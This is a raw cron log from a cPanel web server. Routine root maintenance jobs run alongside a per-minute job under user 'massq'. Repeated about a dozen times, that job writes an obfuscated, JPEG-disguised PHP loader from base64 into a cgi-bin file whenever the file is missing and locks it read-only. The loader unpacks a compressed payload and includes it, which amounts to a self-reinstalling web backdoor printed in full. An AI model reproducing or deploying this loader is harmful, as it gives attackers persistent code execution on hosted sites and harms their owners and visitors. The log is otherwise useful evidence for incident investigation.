Sep  1 14:11:01 server CROND[15307]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:12:01 server CROND[15762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:12:01 server CROND[15763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:12:01 server CROND[15764]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 14:12:01 server CROND[15765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:13:01 server CROND[16145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:13:01 server CROND[16147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:13:01 server CROND[16146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:14:01 server CROND[16626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:14:01 server CROND[16627]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:14:01 server CROND[16628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:15:01 server CROND[17019]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 14:15:01 server CROND[17020]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  1 14:15:01 server CROND[17023]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:15:01 server CROND[17024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:15:01 server CROND[17033]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 14:15:01 server CROND[17032]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 14:15:01 server CROND[17030]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 14:15:01 server CROND[17034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:15:01 server CROND[17031]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 14:16:01 server CROND[17957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:16:01 server CROND[17958]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:16:01 server CROND[17959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:17:01 server CROND[18336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:17:01 server CROND[18337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:17:01 server CROND[18339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:18:01 server CROND[18729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:18:01 server CROND[18730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:18:01 server CROND[18731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:19:01 server CROND[19206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:19:01 server CROND[19207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:19:01 server CROND[19210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:20:01 server CROND[19606]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 14:20:01 server CROND[19608]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 14:20:01 server CROND[19619]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 14:20:01 server CROND[19627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:20:01 server CROND[19629]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 14:20:01 server CROND[19624]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 14:20:01 server CROND[19626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:20:01 server CROND[19625]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 14:20:01 server CROND[19628]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:21:01 server CROND[20470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:21:01 server CROND[20469]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:21:01 server CROND[20474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:22:01 server CROND[20851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:22:01 server CROND[20852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:22:01 server CROND[20854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:23:01 server CROND[21216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:23:01 server CROND[21217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:23:01 server CROND[21218]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:24:01 server CROND[21684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
